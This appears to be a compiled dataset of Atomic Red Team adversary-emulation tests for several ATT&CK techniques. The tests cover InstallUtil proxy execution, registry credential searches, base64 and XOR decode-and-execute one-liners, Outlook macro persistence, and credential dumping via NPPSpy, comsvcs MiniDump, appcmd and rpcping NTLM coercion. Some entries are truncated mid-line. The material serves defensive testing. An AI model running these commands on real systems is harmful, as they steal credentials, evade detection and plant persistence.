deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1218.004: Signed Binary Proxy Execution: InstallUtil
Test: InstallUtil HelpText method call
Platforms: windows
Executor: powershell

Description:
Executes the Uninstall Method. Upon execution, help information will be displayed for InstallUtil.


Command:
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"

$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

$CommandLine = "/? `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_HelpText_'

$TestArgs = @{
    OutputAssemblyDirectory = $InstallerAssemblyDir
    OutputAssemblyFileName = $InstallerAssemblyFileName
    InvocationMethod = '#{invocation_method}'
    CommandLine = $CommandLine
}

$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs

if ($ActualOutput -ne $ExpectedOutput) {
    throw @"
InstallUtil HelpText property execution test failure. Installer assembly e

Cleanup:
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore


Dependencies:
InstallUtil test harness script must be installed at specified location (#{test_harness})
Atomic Red Team — T1218.004: Signed Binary Proxy Execution: InstallUtil
Test: InstallUtil evasive invocation
Platforms: windows
Executor: powershell

Description:
Executes an InstallUtil assembly by renaming InstallUtil.exe and using a nonstandard extension for the assembly. Upon execution, "Running a transacted installation."
will be displayed, along with other information about the opperation. "The transacted install has completed." will be displayed upon completion.


Command:
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"

$InstallerAssemblyDir = "$Env:windir\System32\Tasks"
$InstallerAssemblyFileName = 'readme.txt'
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

$CommandLine = "readme.txt"
$ExpectedOutput = 'Constructor_'

# Explicitly set the directory so that a relative path to readme.txt can be supplied.
Set-Location "$Env:windir\System32\Tasks"

Copy-Item -Path "$([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())InstallUtil.exe" -Destination "$Env:windir\System32\Tasks\notepad.exe"

$TestArgs = @{
    OutputAssemblyDirectory = $InstallerAssemblyDir
    OutputAssemblyFileName = $InstallerAssemblyFileName
    Invocati

Cleanup:
Remove-Item -Path "$Env:windir\System32\Tasks\readme.txt" -ErrorAction Ignore
Remove-Item -Path "$Env:windir\System32\Tasks\readme.InstallLog" -ErrorAction Ignore
Remove-Item -Path "$Env:windir\System32\Tasks\readme.InstallState" -ErrorAction Ignore
Remove-Item -Path "$Env:windir\System32\Tasks\note

Dependencies:
InstallUtil test harness script must be installed at specified location (#{test_harness})
# T1552.002 - Unsecured Credentials: Credentials in Registry

## Description from ATT&CK

> Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
> 
> Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)
> 
> * Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>
> * Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>

[Source](https://attack.mitre.org/techniques/T1552/002)

## Atomic Tests

- [Atomic Test #1: Enumeration for Credentials in Registry](#atomic-test-1-enumeration-for-credentials-in-registry)
- [Atomic Test #2: Enumeration for PuTTY Credentials in Registry](#atomic-test-2-enumeration-for-putty-credentials-in-registry)

### Atomic Test #1: Enumeration for Credentials in Registry

Queries to enumerate for credentials in the Registry. Upon execution, any registry key containing the word "password" will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `b6ec082c-7384-46b3-a111-9a9b8b14e5e7`

#### Attack Commands: Run with `command_prompt`!

```cmd
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

### Atomic Test #2: Enumeration for PuTTY Credentials in Registry

Queries to enumerate for PuTTY credentials in the Registry. PuTTY must be installed for this test to work. If any registry
entries are found, they will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `af197fd7-e868-448e-9bd5-05d1bcd9d9e5`

#### Attack Commands: Run with `command_prompt`!

```cmd
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /t REG_SZ /s
```
Atomic Red Team — T1552.002: Unsecured Credentials: Credentials in Registry
Test: Enumeration for Credentials in Registry
Platforms: windows
Executor: command_prompt

Description:
Queries to enumerate for credentials in the Registry. Upon execution, any registry key containing the word "password" will be displayed.


Command:
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Atomic Red Team — T1552.002: Unsecured Credentials: Credentials in Registry
Test: Enumeration for PuTTY Credentials in Registry
Platforms: windows
Executor: command_prompt

Description:
Queries to enumerate for PuTTY credentials in the Registry. PuTTY must be installed for this test to work. If any registry
entries are found, they will be displayed.


Command:
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /t REG_SZ /s
Atomic Red Team — T1140: Deobfuscate/Decode Files or Information
Test: Deobfuscate/Decode Files Or Information
Platforms: windows
Executor: command_prompt

Description:
Encode/Decode executable
Upon execution a file named T1140_calc_decoded.exe will be placed in the temp folder


Command:
certutil -encode #{executable} %temp%\T1140_calc.txt
certutil -decode %temp%\T1140_calc.txt %temp%\T1140_calc_decoded.exe


Cleanup:
del %temp%\T1140_calc.txt >nul 2>&1
del %temp%\T1140_calc_decoded.exe >nul 2>&1
Atomic Red Team — T1140: Deobfuscate/Decode Files or Information
Test: Certutil Rename and Decode
Platforms: windows
Executor: command_prompt

Description:
Rename certutil and decode a file. This is in reference to latest research by FireEye [here](https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html)


Command:
copy %windir%\system32\certutil.exe %temp%\tcm.tmp
%temp%\tcm.tmp -encode #{executable} %temp%\T1140_calc2.txt
%temp%\tcm.tmp -decode %temp%\T1140_calc2.txt %temp%\T1140_calc2_decoded.exe


Cleanup:
del %temp%\tcm.tmp >nul 2>&1
del %temp%\T1140_calc2.txt >nul 2>&1
del %temp%\T1140_calc2_decoded.exe >nul 2>&1
Atomic Red Team — T1140: Deobfuscate/Decode Files or Information
Test: Base64 decoding with Python
Platforms: linux, macos
Executor: sh

Description:
Use Python to decode a base64-encoded text string and echo it to the console


Command:
ENCODED=$(python3 -c 'import base64;enc=base64.b64encode("#{message}".encode());print(enc.decode())')
python3 -c "import base64;dec=base64.b64decode(\"$ENCODED\");print(dec.decode())"
python3 -c "import base64 as d;dec=d.b64decode(\"$ENCODED\");print(dec.decode())"
python3 -c "from base64 import b64decode;dec=b64decode(\"$ENCODED\");print(dec.decode())"
python3 -c "from base64 import b64decode as d;dec=d(\"$ENCODED\");print(dec.decode())"
echo $ENCODED | python3 -c "import base64,sys;dec=base64.b64decode(sys.stdin.read());print(dec.decode())"
echo $ENCODED > #{encoded_file} && python3 -c "import base64;dec=base64.b64decode(open('#{encoded_file}').read());print(dec.decode())"


Dependencies:
Python must be present
Atomic Red Team — T1140: Deobfuscate/Decode Files or Information
Test: Base64 decoding with Perl
Platforms: linux, macos
Executor: sh

Description:
Use Perl to decode a base64-encoded text string and echo it to the console    


Command:
ENCODED=$(perl -e "use MIME::Base64;print(encode_base64('#{message}'));")
perl -le "use MIME::Base64;print(decode_base64('$ENCODED'));"
echo $ENCODED | perl -le 'use MIME::Base64;print(decode_base64(<STDIN>));'
echo $ENCODED > #{encoded_file} && perl -le 'use MIME::Base64;open($f,"<","#{encoded_file}");print(decode_base64(<$f>));'


Dependencies:
Perl must be present
Atomic Red Team — T1140: Deobfuscate/Decode Files or Information
Test: Base64 decoding with shell utilities
Platforms: linux, macos
Executor: sh

Description:
Use common shell utilities to decode a base64-encoded text string and echo it to the console


Command:
ENCODED=$(echo '#{message}' | base64)
printf $ENCODED | base64 -d
echo $ENCODED | base64 -d
echo $(echo $ENCODED) | base64 -d
echo $ENCODED > #{encoded_file} && base64 -d #{encoded_file}
echo $ENCODED > #{encoded_file} && base64 -d < #{encoded_file}
echo $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d
echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d
bash -c "{echo,\"$(echo $ENCODED)\"}|{base64,-d}"
Atomic Red Team — T1140: Deobfuscate/Decode Files or Information
Test: Base64 decoding with shell utilities (freebsd)
Platforms: linux
Executor: sh

Description:
Use common shell utilities to decode a base64-encoded text string and echo it to the console


Command:
ENCODED=$(echo '#{message}' | b64encode -r -)
printf $ENCODED | b64decode -r
echo $ENCODED | b64decode -r
echo $(echo $ENCODED) | b64decode -r
echo $ENCODED > #{encoded_file} && b64encode -r #{encoded_file}
echo $ENCODED > #{encoded_file} && b64decode -r < #{encoded_file}
echo $ENCODED > #{encoded_file} && cat #{encoded_file} | b64decode -r
echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | b64decode -r
Atomic Red Team — T1140: Deobfuscate/Decode Files or Information
Test: FreeBSD b64encode Shebang in CLI
Platforms: linux
Executor: sh

Description:
Using b64decode shell scripts that have Shebang in them. This is commonly how attackers obfuscate passing and executing a shell script. Seen [here](https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html) by TrendMicro, as well as [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS). Also a there is a great Sigma rule [here](https://github.com/SigmaHQ/sigma/blob/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml) for it. 


Command:
echo #{bash_encoded} | b64decode -r | sh
echo #{dash_encoded} | b64decode -r | sh
echo #{fish_encoded} | b64decode -r | sh
echo #{sh_encoded} | b64decode -r | sh


Dependencies:
b64decode must be present
Atomic Red Team — T1140: Deobfuscate/Decode Files or Information
Test: Hex decoding with shell utilities
Platforms: linux, macos
Executor: sh

Description:
Use common shell utilities to decode a hex-encoded text string and echo it to the console


Command:
ENCODED=$(echo '#{message}' | xxd -ps -c 256)
printf $ENCODED | xxd -r -p
echo $ENCODED | xxd -r -p
echo $(echo $ENCODED) | xxd -r -p
echo $ENCODED > #{encoded_file} && xxd -r -p #{encoded_file}
echo $ENCODED > #{encoded_file} && xxd -r -p < #{encoded_file}
echo $ENCODED > #{encoded_file} && cat #{encoded_file} | xxd -r -p
echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | xxd -r -p


Dependencies:
xxd must be present
Atomic Red Team — T1140: Deobfuscate/Decode Files or Information
Test: Linux Base64 Encoded Shebang in CLI
Platforms: linux, macos
Executor: sh

Description:
Using Linux Base64 Encoded shell scripts that have Shebang in them. This is commonly how attackers obfuscate passing and executing a shell script. Seen [here](https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html) by TrendMicro, as well as [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS). Also a there is a great Sigma rule [here](https://github.com/SigmaHQ/sigma/blob/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml) for it. 


Command:
echo #{bash_encoded} | base64 -d | bash
echo #{dash_encoded} | base64 -d | bash
echo #{fish_encoded} | base64 -d | bash
echo #{sh_encoded} | base64 -d | bash


Dependencies:
base64 must be present
Atomic Red Team — T1140: Deobfuscate/Decode Files or Information
Test: XOR decoding and command execution using Python
Platforms: linux, macos
Executor: bash

Description:
An adversary can obfuscate malicious commands or payloads using XOR and execute them on the victim's machine. This test uses Python to decode and execute commands on the machine.

Command:
python3 -c 'import base64; import subprocess; xor_decrypt = lambda text, key: "".join([chr(c ^ ord(k)) for c, k in zip(base64.b64decode(text.encode()), key)]); command = "#{encrypted_command}"; key = "#{xor_key}"; exec = xor_decrypt(command, key); subprocess.call(exec, shell=True)'

Dependencies:
Python3 must be installed
Atomic Red Team — T1140: Deobfuscate/Decode Files or Information
Test: Expand CAB with expand.exe
Platforms: windows
Executor: command_prompt

Description:
Uses expand.exe to extract a file from a CAB created locally. This simulates adversarial use of expand on cabinet archives.
Upon success, art-expand-source.txt is extracted next to the CAB.


Command:
mkdir "#{output_dir}" >nul 2>&1
echo hello from atomic red team > "PathToAtomicsFolder\T1140\src\art-expand-source.txt"
makecab "PathToAtomicsFolder\T1140\src\art-expand-source.txt" "#{cab_path}"
pushd "#{output_dir}"
expand "#{cab_path}" -F:* .
popd


Cleanup:
del "PathToAtomicsFolder\T1140\src\art-expand-source.txt" >nul 2>&1
del "#{cab_path}" >nul 2>&1
rmdir "#{output_dir}" /s /q >nul 2>&1
# T1137 - Office Application Startup

## Description from ATT&CK

> Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.
> 
> A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)

[Source](https://attack.mitre.org/techniques/T1137)

## Atomic Tests

- [Atomic Test #1: Office Application Startup - Outlook as a C2](#atomic-test-1-office-application-startup---outlook-as-a-c2)

### Atomic Test #1: Office Application Startup - Outlook as a C2

As outlined in MDSEC's Blog post https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/ 
it is possible to use Outlook Macro as a way to achieve persistance and execute arbitrary commands. This transform Outlook into a C2.
Too achieve this two things must happened on the syste
- The macro security registry value must be set to '1'
- A file called VbaProject.OTM must be created in the Outlook Folder.

**Supported Platforms:** Windows

**auto_generated_guid:** `bfe6ac15-c50b-4c4f-a186-0fc6b8ba936c`

#### Attack Commands: Run with `command_prompt`!

```cmd
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security" /v Level /t REG_DWORD /d 1 /f
mkdir  %APPDATA%\Microsoft\Outlook\ >nul 2>&1
echo "Atomic Red Team TEST" > %APPDATA%\Microsoft\Outlook\VbaProject.OTM
```

#### Cleanup Commands

```cmd
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security" /v Level /f >nul 2>&1
del %APPDATA%\Microsoft\Outlook\VbaProject.OTM >nul 2>&1
```
Atomic Red Team — T1137: Office Application Startup
Test: Office Application Startup - Outlook as a C2
Platforms: windows
Executor: command_prompt

Description:
As outlined in MDSEC's Blog post https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/ 
it is possible to use Outlook Macro as a way to achieve persistance and execute arbitrary commands. This transform Outlook into a C2.
Too achieve this two things must happened on the syste
- The macro security registry value must be set to '1'
- A file called VbaProject.OTM must be created in the Outlook Folder.


Command:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security" /v Level /t REG_DWORD /d 1 /f
mkdir  %APPDATA%\Microsoft\Outlook\ >nul 2>&1
echo "Atomic Red Team TEST" > %APPDATA%\Microsoft\Outlook\VbaProject.OTM


Cleanup:
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security" /v Level /f >nul 2>&1
del %APPDATA%\Microsoft\Outlook\VbaProject.OTM >nul 2>&1
Atomic Red Team — T1003: OS Credential Dumping
Test: Gsecdump
Platforms: windows
Executor: command_prompt

Description:
Dump credentials from memory using Gsecdump.

Upon successful execution, you should see domain\username's followed by two 32 character hashes.

If you see output that says "compat: error: failed to create child process", execution was likely blocked by Anti-Virus. 
You will receive only error output if you do not run this test from an elevated context (run as administrator)

If you see a message saying "The system cannot find the path specified", try using the get-prereq_commands to download and install Gsecdump first.


Command:
"#{gsecdump_exe}" -a


Dependencies:
Gsecdump must exist on disk at specified location (#{gsecdump_exe})
Atomic Red Team — T1003: OS Credential Dumping
Test: Credential Dumping with NPPSpy
Platforms: windows
Executor: powershell

Description:
Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy.
After user's logging in cleartext password is saved in C:\NPPSpy.txt.
Clean up deletes the files and reverses Registry changes.
NPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy

Command:
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll" -Destination "C:\Windows\System32"
$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction Ignore
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2 -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy -ErrorAction Ig

Cleanup:
$cleanupPath = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$cleanupUpdatedValue = $cleanupPath.PROVIDERORDER 
$cleanupUpdatedValue = $cleanupUpdatedValue -replace ',NPPSpy',''
Set-ItemProperty -Path $cleanupPath.PSPath -Name "PROVIDERORDE

Dependencies:
NPPSpy.dll must be available in ExternalPayloads directory
Atomic Red Team — T1003: OS Credential Dumping
Test: Dump svchost.exe to gather RDP credentials
Platforms: windows
Executor: powershell

Description:
The svchost.exe contains the RDP plain-text credentials.
Source: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/

Upon successful execution, you should see the following file created $env:TEMP\svchost-exe.dmp.


Command:
$ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)
if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full


Cleanup:
Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore
Atomic Red Team — T1003: OS Credential Dumping
Test: Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using list)
Platforms: windows
Executor: powershell

Description:
AppCmd.exe is a command line utility which is used for managing an IIS web server. The list command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.
[Reference](https://twitter.com/0gtweet/status/[PII_REDACTED]85917186?cxt=HHwWhIDUyaDbzYwsAAAA)

Command:
C:\Windows\System32\inetsrv\appcmd.exe list apppool /@t:*
C:\Windows\System32\inetsrv\appcmd.exe list apppool /@text:*
C:\Windows\System32\inetsrv\appcmd.exe list apppool /text:*

Dependencies:
IIS must be installed prior to running the test
Atomic Red Team — T1003: OS Credential Dumping
Test: Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using config)
Platforms: windows
Executor: powershell

Description:
AppCmd.exe is a command line utility which is used for managing an IIS web server. The config command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.
[Reference](https://twitter.com/0gtweet/status/[PII_REDACTED]85917186?cxt=HHwWhIDUyaDbzYwsAAAA)

Command:
C:\Windows\System32\inetsrv\appcmd.exe list apppool /config

Dependencies:
IIS must be installed prior to running the test
Atomic Red Team — T1003: OS Credential Dumping
Test: Dump Credential Manager using keymgr.dll and rundll32.exe
Platforms: windows
Executor: powershell

Description:
This test executes the exported function `KRShowKeyMgr` located in `keymgr.dll` using `rundll32.exe`. It opens a window that allows to export stored Windows credentials from the credential manager to a file (`.crd` by default). The file can then be retrieved and imported on an attacker-controlled computer to list the credentials get the passwords. The only limitation is that it requires a CTRL+ALT+DELETE input from the attacker, which can be achieve multiple ways (e.g. a custom implant with remote control capabilities, enabling RDP, etc.).
Reference: https://twitter.com/0gtweet/status/[PII_REDACTED]39216653

Command:
rundll32.exe keymgr,KRShowKeyMgr
Atomic Red Team — T1003: OS Credential Dumping
Test: Send NTLM Hash with RPC Test Connection
Platforms: windows
Executor: powershell

Description:
RpcPing command can be used to send an RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process. 
Ref: https://twitter.com/vysecurity/status/[PII_REDACTED]16072960

Command:
rpcping -s #{server_ip} -e #{custom_port} -a privacy -u NTLM 1>$Null